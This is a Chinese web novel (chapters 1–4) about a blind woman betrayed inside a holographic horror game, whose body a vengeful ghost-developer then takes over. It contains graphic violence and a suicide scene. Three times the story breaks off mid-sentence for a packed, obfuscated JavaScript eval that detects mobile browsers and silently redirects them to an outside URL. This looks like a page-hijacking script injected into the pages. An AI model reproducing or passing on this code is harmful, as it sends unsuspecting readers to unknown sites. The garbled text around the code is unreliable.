《开局盲女,鬼见我跑》 1. 第 1 章 天色阴沉,雨丝细细密密的落下,将本就阴气森森的墓地衬得愈发冰寒。 一行十人,面孔和肤色各异,正快步在乡间小路上行走。 落在队伍最末尾的是一个拄着盲杖的女孩,她明显不太适应这种坑坑洼洼的土路,每走两步都要停一下,努力感知脚下的路。 然而,其余九人竟然没有一个人回头在意她的情况,目光全都若有若无的落在一个个高耸的墓碑上,像是在寻找什么东西。 “哲哥,BOSS就在这里沉睡吗?” 一个头发染成绿毛,身上穿了件拉风黑色铠甲的男人出声道,“我们已经找了足足两个小时,再有一个小时副本时间就到了。现在回去,好歹能拿满基础奖励。” “现在副本线索已经集齐,拼出的路线也指向这里,绝不会有错。” 被称作哲哥的男人戴着副金丝边眼镜,看上去颇为文气,说话也慢条斯理,“现在副本已经推到终章,就算我们不去找BOSS,TA也会在倒计时结束前现身索命,你们谁有把握凭现有的技能专精和装备硬扛?” “哈……”绿毛尴尬地笑了笑,连忙改口,“对,应该趁着现在把BOSS灭了。” 众人一时无话,只留窸窸窣窣的脚步声。 而越往深处去,脚下的土地也愈发泥泞,仿佛踩在沼泽之中,有看不见的力量将人往下拉。 “哒,哒。”盲杖的声音也距离他们越来越远。 突然,萧哲停下脚步,皱眉向旁边的壮硕青年递了个眼神,“孙强,你去看下什么情况。” 后者会意,转身大步走向队伍后方,口中呵斥,“磨蹭什么呢?走,快点!” “抱、抱歉……” 薄暮惊慌地抬起头,空洞的双眼转向声音来源,口中诺诺,“我看不到路,所以……” “想尝试一下我最新学到的碎骨掌吗?虽然对付鬼魂没啥用,但对付你这个拖油瓶,足够了。” 男人狞笑一声,语气中的威胁明晃晃浮在表面。 “孙强,”队伍前面的萧哲有些不耐烦,“我们赶时间。” “是,老大。” 话音未落,他一把扯住女人手中的盲杖,像拖一个麻袋般把人粗暴地往前拖,直至跟上大部队。 “唔……”薄暮倒在地上,单薄的新手皮甲被石头割开,留下一道长长的血痕。 这一幕落入剩下的八人眼中,皆没有引起任何反应,仿佛习以为常。 “哲哥,你这未婚妻还打算护多久?一个瞎子能跟着活到现在,不错了。就算现在挂掉,补偿金也够买一栋房子。”绿毛凑上前,并未刻意压低音量。 “她只是用来凑人数的,免得别的公会说我们不招女玩家,歧视女性。” 萧哲眼皮都不抬一下,漠然地扫了一眼摔倒在泥地里的女人,转头看向尽头的一座高大墓碑。 这墓碑和墓地显得有些格格不入。它足足有十余米高,边缘尽是不规则的裂纹,仿佛经历过上千年的风吹雨打。最令人感到奇怪的是,在它周围有一层层散乱分布的石块,像是在摆一个阵法,镇压住底下的东西。 “应该是这里。邴辉,你来开怪。” 是一个看上去颇为憨厚老实的男人站出来,手自虚空一抓,一把泛着青光的斧头落入掌中。他大喝一声,向墓碑砸去。 “嘭!” 巨大的冲击力让他一个站不稳,斧头脱手而出,插进十米之外的地里。 “怎么可能?”邴辉脸上红一阵白一阵,又是一拳挥出。这一次,他的皮肤变成了石头般的紫黑色,仿佛一只蛮牛向墓碑冲去。 下一秒,所有人都看见他发出一声惨烈的痛呼,在距离墓碑一尺处被弹开,手腕因作用力而血肉模糊,“嘶,这墓碑见鬼了吧?连血条都看不到!” “等一下,我用显灵水看看。” 萧哲像是才想到般取出一个蓝色小瓶,谨慎地拧开瓶盖,迅速往前撒了一滴。而这个举动,令一旁的绿毛撇了撇嘴,看向邴辉的目光带上两分怜悯。 显灵水的价格足足有两块心智碎片,换算成金钱就是两万。加起来,这次他们在副本中足足损失了十三块心智碎片。按照公会的规则,派不上用场的人会从核心成员降至外围。 ——无法开怪的邴辉,显然算一个。 很快,一行行模糊不清的字迹在阵法中心浮现。 【宝塔镇压……厉鬼显行……】 【鲜血灌溉……恶灵转生……】 【求生不得……求死不能……】 每一句话,颜色都加深一分,最后竟是彻彻底底的血字! “这副本提示词写的什么玩意啊,看的人心里发毛。”绿毛嚷嚷着,眼珠转来转去,忽然落在邴辉几欲断裂的手腕上,“哎,哲哥,这墓碑如此邪门,我们不如回村里搬些炮灰来打头阵?这样万一有个什么,我们也好应对。” 现在返回当然不可能。他之所以这样说,是想提前划出垫背的牺牲者。 为首的男人没来得及回答,周围忽然狂风大作,豆大的雨点凝成冰雹,狠狠砸在地上,形成一个接一个的大坑。 空气中的凉意近乎凝成实质。 “咔擦、咔擦。”墓碑上的裂痕平添数道,仿佛下一秒便会彻底裂开。 “我们走!”萧哲脸色剧变,转身就跑。也不知他从物品栏中拿了什么东西,脚下鞋子竟发出淡淡白光,所过之处,仿佛踏泥而行。 其他人就没有那么强力的装备,只得愤而逃跑。顷刻间,土地彻底变为沼泽,每踩一脚,整个人就往下陷一分,举步维艰。 “等等我!哎哟……”最狼狈的当属邴辉。刚才那一下让他负伤不说,偏又体重最大,基本上半个身子都陷在泥里,只有脑袋和双手露在外面。 ——恐怖副本中,只要跑的比队友快,就能活下来。 九人都是人精,心里对这个道理门儿清。因而能跑则跑,不能跑的则转脸看向四周,想办法向旁边人下绊子。 邴辉也不例外,他凶恶的目光毫无悬念地扫向正在艰难的用盲杖探路的薄暮。 “幸好有你这个废物拖油瓶!” 他用完好的那只手打出一拳,赤红色的暗影犹如闪电,残忍地将女人的膝盖击碎。 一声惨叫,薄暮倒地不起,纤瘦的身体迅速被泥浆吞没,转眼间消失小半截。 现状,邴辉大喜,连忙越过她,扯着嗓子大喊救命。 “哲哥,你看后面!”绿毛眼尖的注意到这一幕,连忙冲跑在最前面的男人喊。 “死了便死了吧,反正薄家的财产已经……哼。”萧哲连一个多余的眼神都没有给薄暮,倒是着重看向那块仍然伫立的高大墓碑。 现在离开,他们在整个副本里的投入都会打水漂。 若要留下…… “你去拉邴辉一把,他是我们难得培养出的坦克,不能死在这里。”他眯起眼睛,果断做出决定。 “是。”绿毛不情不愿地应了一声,转过身向壮硕男人的方向跑去。 冰雹下的越来越大,融入泥中时,顿时化成了暗色的水,将地面那些用作阵眼的石头吸入地底。 渐渐的,地面只留那座墓碑。 “咔擦,咔擦。” 蜘蛛网般的裂纹遍布每一处,仍在继续扩大。 “唔……”薄暮颤抖着,剧烈的疼痛和突如其来的冰寒让她脸颊惨白,双手无助地在空中乱挥。 “退出,我要退出游戏啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960807|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 嗓音喊得沙哑,她无助地啜泣着,觉得自己一无是处,连游戏面板上的按钮都找不到。以往,都是萧哲告诉她什么时候该退出,并且指给她按钮在哪。 她叫了半天未婚夫的名字,没有回应,又徒劳地挣扎了许久,直到失血的恐惧与疲惫一拥而上。泥浆已然漫过胸膛,再往上一步即是口鼻,窒息感愈发强烈。 “也许,我就是个累赘。” “阿哲说得没错,没有他,我确实无法在这里生存下去。” 【系统提示:[萧哲]已将账户中心智碎片全部取出,当前剩余数量:0】 【系统提示:复活至少需要1心智碎片,否则账号将被销毁】 冰冷的提示音让她怔在原地。 “怎么会……”她喃喃自语,苍白的面上尽是不可置信。 “为什么偏偏在这个时候——” 她隐约猜到答案,但又不愿相信。 【系统提示:收到一条私聊】 【萧哲:你死了,才能让我的兄弟们逃生。】 男人的嗓音一如既往的磁性,可每个字都是褪去伪装后的厌恶。 “阿哲……” 薄暮下垂的手臂无意间碰到之前邴辉脱手而出的那把斧头。 像是回光返照般,她恍惚地将其拔出,随后将锋利的刀刃对准自己纤细的脖颈,绝望地低语,“就这样结束游戏……也挺好。” “啪!” 寒光闪过,一具无头女尸倒在地上,鲜血喷涌,好巧不巧落在被打乱的石阵中间。 最后一丝屏障悄然破裂。 “咔擦。” 血红色人影轻松扒开混沌的地面,从变为废墟的坟墓里走出,冷眼打量着一切。 她面容模糊,唯有一双丹凤眼伶俐有神,翻滚着化不开的煞气。几乎同时,她注意到了那具刚刚咽气的尸体。 “一个懦弱的灵魂,居然能有如此强大的怨气,真是有趣。” 她赤着足,在尸体前方停下,把死不瞑目的头颅捡起。 “让我看看你的不甘心:未婚夫没有救你,你却在埋怨自己的无能——哈哈,这是我听到最好笑的笑话。” 她轻笑一声,指尖沾了点鲜血,放到嘴角抹了抹,“好熟悉的味道。” 竟然让她有些怀念。 “也罢,就借用你的身体让我看看外面是什么样子吧。” 薄瑜卿弯下腰,身体化作一道暗红色烟雾,逐渐和女尸融为一体。 鲜血像是被按下停止键般不再涌出,滚滚黑气自地底升腾,钻入伤口处使其愈合。而在她被砍掉一段的脖颈上,则重新长出一颗脑袋。 女人面容妖艳诡谲,偏偏一双本该勾魂夺魄的眼睛空洞无神。 “啧,居然是个盲人。” 她抹去唇角鲜血,摸索着拾起盲杖。 “看不见吗,倒也省得我犯恶心。” 她仿佛闻到血腥味的鱼,扭头看向萧哲等人逃跑的方向,指尖轻轻一勾。 刹那间,刚刚死里逃生的邴辉笑容僵在脸上,身体犹如剪断发条的木偶,定在原处。 “怎么了?跑啊!”绿毛试着拽他,却摸了一手血。紧接着,他看到令他此生难忘的一幕: 邴辉的骨头被硬生生从血肉中生生剥离,从头骨开始,然后是躯干……最后只留一团变成烂泥的软肉在地上如蚯蚓般爬行。 “咕叽。”满是惊骇的眼珠在他脚下转了转,便被污泥贪婪地吞没。 “好像还有不少脏东西。” 薄瑜卿一脚将头骨踩的粉碎。然而,就在她指尖窜出黑雾,几欲号令众鬼时,一个红色的弹幕占据她灰暗的视野: 【账号异常,正在强制下线】 2. 第 2 章 “吱嘎——” 破旧的游戏舱抖了抖,舱门打开一条缝,一只白皙手臂从中伸出来。暗红色纹路如同触电般在肌肤表面一闪而过,很快又归于无形,仿佛刚刚那一刹只是错觉。 薄瑜卿缓慢起身,长时间躺在游戏舱中不动的双腿有些无力。她静静站了一会适应这具身体,顺手在舱门摸索两下,按下显示关门的盲文凸起。 当年,她在组织公司上下开发全息游戏时,也考虑到了特殊人群的要求,甚至她作为总裁还被媒体拍到以身作则学习了一个月的盲文。 虽然当时的表现多是作秀和炒作,可在那一个月来,她多少也顺带着了解些基础的盲文语言。 “所以,我死后居然被封进了游戏里。为什么?” 薄瑜卿若有所思地喃喃一句,空洞的双目扬起。她以游戏舱为圆心,不紧不慢地在室内摸索起来。 因着双眼失明,如今的她,只能凭借超出常人的听觉、嗅觉和触觉来判断自己所处的环境。 屋子里漂浮着淡淡灰尘味,指尖所碰之处,除了游戏舱外都有一层厚厚的尘埃,仿佛好久没有人过来打扫。指望一个盲人天天搞卫生显然不够现实,这也侧面说明她大概率是独居。 “嗡嗡——” 窗外依稀传来施工的噪音、车辆鸣笛,还有小孩子的奔跑尖叫。薄瑜卿驻足,侧耳听了一会,百无聊赖地转过头,“房子隔音不太好,而且位于中低楼层,是比较差的一类房源。” 所幸,薄暮作为盲人,深知看不见的不便之处。她把房间收拾得很空,杂物全部堆在角落,不会有走两步被绊倒的情况,就连桌角也贴上了防撞护角。 “嗯?这是——” 碰到障碍物,薄瑜卿弯下腰,拿起地上被摔成两截的盲杖。毫无疑问,薄暮断然不会这样作茧自缚,那么摔碎她盲杖的另有其人。 绕开玻璃残渣,她继续向前走去。 她只是占了这具身体,没有义务为其收拾烂摊子。当下她所在意的是:这里到底是个怎样的世界? 在她死前,全息网游作为一个新兴的产品仍在开发当中,还没有任何一家公司能够成功上市。当时的她就是抓住这个风口,带领团队研发出一款史无前例的开放式恐怖游戏,一度登上“最期待游戏”排行榜第一。 可惜,她没能亲眼看到自己的作品风靡全球。 在桌上,薄瑜卿终于摸到一点不同寻常——有个材质冰凉的小方盒。 她才用指尖碰到,里面便传来“嘀”一声,一个悦耳的声音徐徐响起: 【正在指纹解锁中,光脑250号即将为您服务~】 “光脑。”她若有所思,“是手机吗?” 【嘀!检测到历史名词“手机”,以下是联邦搜索(天霸集团出品)的专业百科:手机在539年前正式被光脑所替代,如今只能在历史博物馆见到。如果您想预约参观,我可以为您提供距离最近博物馆开放时间和出行路线。当然,如果您想体验全息博物馆游览,我也可以为您预约线上抢票……】 “不用了。”薄瑜卿冷声打断,“全息技术现在发展到什么地步?” 【嘀!检测到专业名词“全息技术”,以下是联邦搜索(天霸集团出品)的专业百科:全息技术由天霸集团一手研发,最先运用在游戏领域,而后逐渐覆盖到人们的生活。如今,全息世界正在慢慢取代现实世界,成为真正意义上的“第一世界”。霸天集团的口号是:只要一个游戏舱,我们就能为您造梦!】 “呵,造梦。” 她不置可否,“现在都有哪几款全息游戏?” 【嘀!检测到热门名词“全息游戏”,以下是联邦搜索(天霸集团出品)的AI信息汇总:当前,最热门、几乎人人都在玩的是一款跨时代恐怖游戏,名为《地狱登神》。玩法简单易上手,玩家需要进入开放世界地图中,真实面对鬼魂的追杀,通过等级和收集心智碎片实现实力提升。但广受好评的,是一个个充满恐怖元素的副本设计,每个恶灵都有属于自己的故事……】 一刹那,薄瑜卿空洞的眼窝浮现一抹凌厉血色。她面无表情地听着,直到光脑结束长达十分钟的游戏科普。 “这和我研发的那款游戏,简直一模一样。” 她的声音很轻,以至于光脑发出疑惑的声音: 【请您再说一遍,250刚刚走神了,没有听清哦~】 她没再说话,思绪止不住的倒回生前。 ——开发一款恐怖主题的全息游戏,是她一直以来的心愿。而这个心愿,和她一直以来颇具灵异色彩的成长背景不无关系。 薄瑜卿自小体弱多病,噩梦缠身。离奇的是,她每晚都会梦到自己用最惨烈的死法“死”过一遍。虽然含着金汤匙生于豪门世家,可即便花重金访遍天下名医,仍然没有人能够找到她症结的原因。 直到疼爱她的祖母死马当活马医,请来一位山野中的得道高僧。谁曾想,老妪瞧她第一眼时就面露惊色,大呼,“这孩子有传说中的鬼眼,会吸引恶鬼附身。若不加以压制,断然活不过十八!” “那该怎么办?” 若是平常,说出这种怪力乱神之语肯定要被保镖轰出家门。可祖母实在是爱女心切,加上求医求了那么久仍然没有效果,索性一拍板开出天价酬劳,求老妪出手改命。 “也罢。看面相,此女将来定成大事,我就略尽绵薄之力,也算给自己攒个身后福缘。” 老妪说着,提笔洋洋洒洒写下一串材料,尽是些世间罕见的珍稀之物,古书上都不一定有。 好在薄家家大业大,不出三日便将所有东西全部找齐。 之后,老妪要了一间净室,将自己关在里面七天七夜。等到再出来时,她整个人头发由黑变白,脸上密密麻麻的尽是皱纹,仿佛顷刻间苍老了十来岁。 “孩子,把眼睛闭上。” 她的声音仍然年轻,富有活力,甚至带有一丝蛊惑人心的力量。 闻言,薄瑜卿好奇地闭上眼睛。随后,她感到眉心传来一阵凉意,这股力量仿佛有生命般游走在她双目间,带来一阵阵火烤般的炙热。 好像过了一个世纪那么久,等到她再睁开眼睛时,意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960808|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现满屋子都是些青面獠牙的“半人”: 有的缺胳膊少腿,在地上乱爬;有的则像被巨物碾过般成为一滩肉泥,在墙壁乃至天花板不断蠕动。而她们所有人的目光,全都垂涎欲滴地盯在她身上,仿佛在看什么美味点心。 “我教你一个办法,可以克制它们。” 老妪神秘一笑,手中多出一张黄色符纸。她轻飘飘地向前一拍,距离最近的那个鬼魂顿时发出一声凄厉惨叫,化作几缕飞烟在她们眼前炸开。 “以我目前的法力只能制作出三十张,这些足够你用到成年。” 她没有说成年之后该怎么办,薄瑜卿也没有追问。她扭过头,目光自那些四散而逃的凶恶厉鬼上一扫而过。 她终于明白,她从小到大遭受的无处不在的灵异现象是怎么回事。而拿着沉甸甸的一沓符纸,她只觉得这样的惩罚实在是太轻了。 ——轻如鸿毛。 浸泡于权势滔天的富贵人家,她自小耳濡目染,懂得心狠才能成事的道理。 这些恶鬼害她缠绵病榻,直接拍死未免太轻松了。按照她的逻辑,双倍奉还是底线,血债血偿才是常态。 她所经历的一切,这些鬼也要品尝一遍,甚至更多! 由此为灵感,她在读完大学后萌生了开发一款主题为和恶灵搏斗的全息恐怖游戏念头。只有她自己知道,游戏不过是躯壳,“真实的鬼魂”才是内核。 里面大大小小的Boss都是她仗着黄色符纸将其逼入第三空间,成为一个个游荡的真实数据。 而故事的大背景也由她一手操刀,全部来自于她夜晚的诡异梦境。每一个,都无比荒诞、恐怖异常。 一切源于真实又高于真实,却全然在她的掌控之中。等到上市那一刻,这些鬼魂们会迎来亿万玩家的屠刀,不断死而复生、生而复死,却又无法干脆的结束性命,那才是她的报复。 有趣的是,这个项目一立项便带来大量的热度,还有竞争对手接二连三的模仿。 当时和她同样争抢全息游戏这块蛋糕的不止一家公司。仅次于她薄家的,便是一家姓王的家族企业。其领头人王天霸,更是放出豪言壮语,说未来的第一款全息游戏一定是他们旗下的王牌:角色扮演。 若非她意外身亡,这块蛋糕还不知道花落谁手。 …… 沉浸在思绪中,薄瑜卿如同旁观者般冷漠地回顾了自己的前世。她沉睡的时间太久,久到心脏跳动的感觉都无比陌生。 借尸还魂于她来说,恰恰是个从头开始的天赐良机。眼下,身处陌生的地方,占据一具陌生且羸弱的尸体,她有太多疑问承担解决,也有太多心愿没有完成。 如果可以,她希望能够重续开发了一大半的项目——在这个能够将全息技术化作现实的时代,她的雌心壮志定能落到实处。 “咚!咚!咚!” “瞎子,开门!你死里面了不成?!” 正当她准备再问光脑些有关于现世的问题时,一阵剧烈的拍门声响起,夹杂有男人粗鲁的叫骂声,仿佛再晚一秒就要把门给她拆了。 3. 第 3 章 【嘀!温馨提示:访客身份为房东的儿子,是否开门让他进来?】 “开门。”她很快给出回应。 随着一声轻微的“嘭”,房门颤颤巍巍地向后挪去。与此同时,薄瑜卿听到一个尖利刻薄的声音: “薄暮,下个月的房租该交了,你准备什么时候交啊?” “当初若不是我妈心眼好,看你一个瞎子生活不便,才破例将这间房子租给你,还不收你押金。但做人也要讲诚信,是不是?合同上怎么写的?若是你月底之前不把钱交给我,我可就连人带东西把你给扔出去了!” 对方连珠炮弹般说了一长串。 纵然看不见,光听声音,薄瑜卿也知道说这番话的人定是尖嘴猴腮,贼眉鼠眼的男人。 她拄着断掉的半截盲杖,慢慢向声音飘来的地方走去。 “哎,我说你装什么哑巴呀?你……” 宫晙的后半句话卡在喉咙里,他瞪大眼睛,惊诧地看着面前的陌生女人。 那双雾蒙蒙的眼睛如同一个深不见底的黑洞。仅仅是和她四目相对,他便感到汗毛倒竖,一阵接一阵凉意闪电般自脊椎穿过,仿佛被黑暗里的什么凶恶生物盯上般,让人如坠冰窟。 “你、你又是谁?怎么会在薄暮的房间里?!” 巨大的惊诧让他忽视了薄瑜卿手上的半截盲杖,甚至哆嗦着向后退了半步。 “你的意思是,房租这月底到期?” 薄瑜卿没有回答他的问题,语气仍然没有起伏,“多少钱。” “两千五。”男人下意识回答,嗓音有点抖。 “你可以走了,房租我会在月底之前替她交上。” “哎,不是,你到底……”宫晙张了张口,还欲追问,却只得到一个后脑勺: “250,送客。” 很快,房门再度关闭。 “250,我账户上还有多少钱?” 她突然问。 【嘀!您的账户余额为零。查询到在30分钟前有一条大额转账记录,是否立即查看?】 “看。” 【嘀!转账记录显示,萧哲(和您为未婚夫关系)将您卡里的10万转移到他自己的账户中。】 “为什么他能动薄暮的钱?”薄瑜卿轻笑一声,感觉事情的走向变得有趣起来。 【参考您写下的日记、手账和其它电子资料,您在和萧哲订婚的第一天就把账户权限改成了夫妻共有。根据联邦修订的最新版法律,他从您的账户中取钱是完全合规的。】 “原来是这样。” 薄瑜卿面无表情地点点头,没有纠正对方把她认作薄暮的说辞,“所以她自己连房租都交不起,还要花钱去供养未婚夫么,我大概明白了。” 她占据了薄暮的身体,看似是获得了难得可贵的自由,实际上前面还有一个更大的烂摊子等着她收拾。甚至,她想忽视都不行。 但薄瑜卿显然没有太纠结于这些琐事,“250,给我筛选一些全息网游类的工作。” 【嘀!搜索到1512条信息,按优先级排序中,请稍后……】 【天霸集团正在招游戏测评师,待遇100000一个月,要求通关《地狱登神》十个S级的噩梦副本才能进入面试。】 【九恒集团正在招游戏破解师,待遇80000一个月,要求通关《地狱登神》八个S级的噩梦副本才能进入面试。】 【天下无双工会正在招收顶尖玩家,待遇50000一个月,要求通关《地狱登神》五个S级的噩梦副本才能成为外围成员。】 …… “等一下,”薄瑜卿打断它连续的播报,“怎么全是要求通关噩梦副本?没有其它的条件吗?” 【嘀!当前《地狱登神》这款游戏已经占据了全息网游市场的99%及以上,是当之无愧的龙头网游。所以,全部的招聘岗位都围绕这款游戏展开。】 【噩梦难度的S级副本是这款游戏中最恐怖、最无解的副本,能够考验一个玩家的胆量、意志力、推理力、分析力、应变力等综合能力,全服玩家通关率不足0.1%,是当今时代诸多游戏公司考察人才的硬性标准。】 “原来如此。”薄瑜卿对这个一家独大的布局并不陌生。早在她主导开发项目时,就将其列为上市后所要达成的第一个目标,只不过眼下阴差阳错被另一家公司实现。 “也就是说,现阶段,如果我想找到全息游戏这方面的工作,必须得去玩《地狱登神》,是这个道理吧。” 【是的~】 【250还有一个附加消息赠送哦!自开服以来,天霸集团都有注册即送现金的福利活动。只要注册了账号,就能获得10000块钱现金奖励,可以在游戏中兑换成1块心智碎片,获得一次免费复活的机会。】 “一万块钱啊。” 站在决策人的角度,她总觉得这个福利的设置有些奇怪。正常情况下都是送属性、送装备,哪有开局送复活次数?难不成,策划有足够的自信每个玩家至少死一次? 薄瑜卿状似随意地扭过头,空洞的眼窝看向缓缓发光的光脑,“游戏舱该怎么使用?” 【嘀!正在搜索中……您目前所持有的是一款特价游戏舱,仅有将意识连入全息世界的功能,不带营养液注射和睡眠模式。因而为了您的健康考虑,建议设置闹钟,每四个小时离开一次游戏,以免现实中的身体陷入虚脱。】 “嗯。” 薄瑜卿突然伸出手,一个一个尝试光脑上的不同按键。 【实名认证】 【健康使用光脑的一百条守则】 【系统和更新】 【您需要查找些什么,可以直接跟我说,250作为您的智能小助手,时刻准备着帮您——】 “不必了。”薄瑜卿说着,干脆地按下重置键——恢复出厂设置。 【嘟嘟……】 霎时间,250的声音归于沉寂,取而代之的是一串系统重置的加载声。 十分钟后,一个甜美的声音打破沉默: 【尊敬的用户您好,系统已重置。我是您的新任光脑,请您为我起一个好听的名字~】 “就叫‘锚点’吧。” 她想到自己如今不得不白手起家,从零开始。有个“锚点”,就有了目标。 【好的!锚点正在为您服务~请问您需要我帮您做些什么?】 “我需要你安静一会。” 【好的。(闭麦中)】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960809|193293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 薄瑜卿转过身,用盲杖探路的动作熟练许多,向着位于角落的游戏舱走去。 她换掉250的原因并非这个数字难听,而是她怀疑她的光脑在启动时便被人做了手脚。好比这种起名过程,薄暮作为一个正常人,怎么会给自己的光脑起250这种名字? 如果是叫“眼睛”或者“光明”,她还能够理解。这样一串数字,只能说明光脑在第一次开启时就有人在她身边,专门起这种名字侮辱她。而薄暮又看不见,加之习惯性忍气吞声,对方放些插件进去再容易不过。 当今是彻彻底底的数据化光脑时代,她的隐私数据随时都有被泄露的可能。虽然薄瑜卿并不怕麻烦,也不介意让冒犯她的人吃些苦头,可她有更重要的事情要做,不想将精力用于和这些无聊的人和事周旋。 在确定和这些人彻底清算前,她没必要过早暴露自己。 “吱嘎——” 舱门发出一声闷响,在她面前徐徐打开。 薄瑜卿弯下腰,整个人躺进狭小闷热的空间中。霎时间,一个拇指大的铁片徐徐下降,直至吸附在她的太阳穴上。 冰凉的感觉夹杂着少许眩晕,仿佛有什么在试图将她的意识带到另一重空间去。 她压下心头条件反射升起的暴虐,缓缓呼出一口气,有保留地分割出一小块意识。 【正在进入游戏,请稍候——】 【正在初始化数据——】 【嘀!检测到您的账号存在异常,是否重新创建账号?】 “是。” 【正在创建账号中,该过程持续3-5分钟,请耐心等候——】 一阵细微的疼痛自太阳穴处传来,薄瑜卿不觉微微蹙眉。但并非因为疼痛,而是那股若有若无的电流声在她耳中愈发明显,如同一只烦人的蚊子嗡嗡吵个不停。 而在她看不见的地方,无数道红光如探照灯悄无声息扫过她的身体,却被她反客为主地吞噬。过了许久,虚空中出现一个和她一比一复刻的3D小人模型。面容和她一模一样,包括那双无神却妖冶的眼睛。 【恭喜您,账号注册成功!即将发放1万元现金的奖励,请问您是要提现,还是兑换成心智碎片(游戏货币)?】 面前出现两个选项,薄瑜卿直接道,“提现。” 【请问您是要把钱打到账户里,还是直接兑换成现金?】 “现金。” 【好的,扣除5%手续费,9500元已发放成功,会在十分钟后传输到您的住址,请再核对一遍哦~一旦确认,将不能更改。】 薄瑜卿没有说话。 她发现这个游戏对她而言根本算不上友好。语音只实装了一部分,好比一道题目只念题干而不念选项,现在让她来做最后选择。 “给我念一遍住址。” 【请再核对一遍哦~一旦确认,将不能更改。】 提示音仍然是这一句,音调都没有变动。 “暂时不提现。”她沉默片刻,改口。 【好的,9500元已存入您的账户。之后您提现时,将不再重复收取手续费。】 【如果没有其它疑问,将自动进行下一步进程。】 【正在创建角色——】 4. 第 4 章 【人物名称:薄暮】 【等级:0】 【职业:无】 【力量:6——(负重30斤,攻击力6)你的身体可以用孱弱来形容,多锻炼吧】 【速度:3——你的奔跑速度可以用蜗牛来形容】 【耐力:7——你的耐力平平无奇,也许比普通人稍微耐摔打一点】 【体力:6——体力值对应10点血量,你的总血量为60】 【感知:1(99?)——你五感迟钝,除非地震发生才能让你有所反应(你可以感知到很多常人所感受不到的东西,包括无处不在的……)】 【运气:1——你非常倒霉,喝凉水都能塞牙缝】 【特质:盲眼[你的视野一片漆黑],(天煞孤星[你并不属于这个世界。因而独自行动时,你的全属性增加10%]),(恶灵终结者[身为级别更高的厉鬼,当恶灵主动向你攻击时,免疫并反弹10000%伤害])】 【技能专精:暂未解锁(10级后开放)】 【装备:盲杖(系统自带,无属性加成)】 …… 【是否立即进入游戏?】 “不,我要退出。” 打开游戏舱门,薄瑜卿直接召唤光脑,“锚点,把我目前的住址告诉我。” 【嘀!您目前所在的位置是第七新都,下城区,蜂巢公寓网格G-9,胶囊单元 C-7-304-4】 “好。” 十分钟后,门口传来“砰”一声,随后是门铃被按响的声音。 “锚点,开门。” 一个全息投影的机器人抱着一个包裹站在门口。它看上去个头矮小,但身上密密麻麻都是激光孔,让人毫不怀疑它随时会变成一件恐怖的杀器。 【请薄暮女士签收。】 小机器人一板一眼地说着,双手做出向前递的姿势。 薄瑜卿拄着半截盲杖,慢慢向门口走去。 她没有听到属于人类的呼吸声,这样反倒让她自在不少。比起和心思迥异的人或鬼打交道,她更喜欢有着固定程序的机器。 “在这里签名是吗?” 【是的,您按下指纹即可。】 霎时间,薄瑜卿只感觉手仿佛伸进一片冰凉的海水,阴寒湿润的感觉一触即分。随后,她听到毫无感情的机械声: 【祝您生活愉快。】 九千五百块钱,全部装在一个厚厚的包裹里。她掂了掂,这大概是上辈子以来经手她手里最少的数额。 “从零开始,倒也不错。” 【您想交房租吗?如果需要的话,我可以帮您联系房东。】 “不,”薄瑜卿摇头,抽出一部分现金,“给我订购一副结实的新盲杖,再推荐一些附近的餐厅,以性价比高的自助餐为主,预算尽可能压低。” 一千年了,她什么都没吃,现在拥有身体后终于意识到饿。 复仇也好,进入全息游戏一探虚实也罢,在吃饱喝足这个底层的核心需求满足之前,全都可以往后排。 …… 一道淡蓝色光晕闪过,薄瑜卿拄着新到手的可调节盲杖,站在一家人来人往的自助餐厅门前。 光脑化作一枚拇指大的芯片,隐藏在她左耳下方。 【开启穿梭隧道,支出交通费用十元。】 “这家餐厅长什么样子?” 薄瑜卿随意地问。她能听到悦耳的音乐声,还有铁板上火焰燃烧的噼啪声,以及人们的交谈声。 【它位于地下,外壳呈贝壳状,由粗糙的、带有真实磨损纹理的预制混凝土和回收金属板构成。墙面有来自上个时代的手机、电脑等物件涂鸦。橱窗上写着“所见即所食,非数据模拟,热量气味质感均为真实参数”的经营标语。……】 位于门口的机器人注意到了这位有些格格不入的来宾。 它动了动身子,一条无障碍通道出现在薄瑜卿脚下: 【女士,请问您要用餐吗?】 “嗯。” 薄瑜卿在它的指示下将两百现金取出。与此同时,她听到咔嚓一声,手腕上好像多了什么东西。 【限时用餐时间两小时,现在开始计时。】 “我手上的是什么?” 【是计时手环。一但倒计时结束,您就会被传送出餐厅。】 点点头,薄瑜卿又让小机器人把菜单给她念了一遍,“推荐些饱腹感强高的基础食物。” 【嘟——】 这让机器人原本准备介绍高端食材的动作一顿,甚至出现了两秒钟的卡壳。 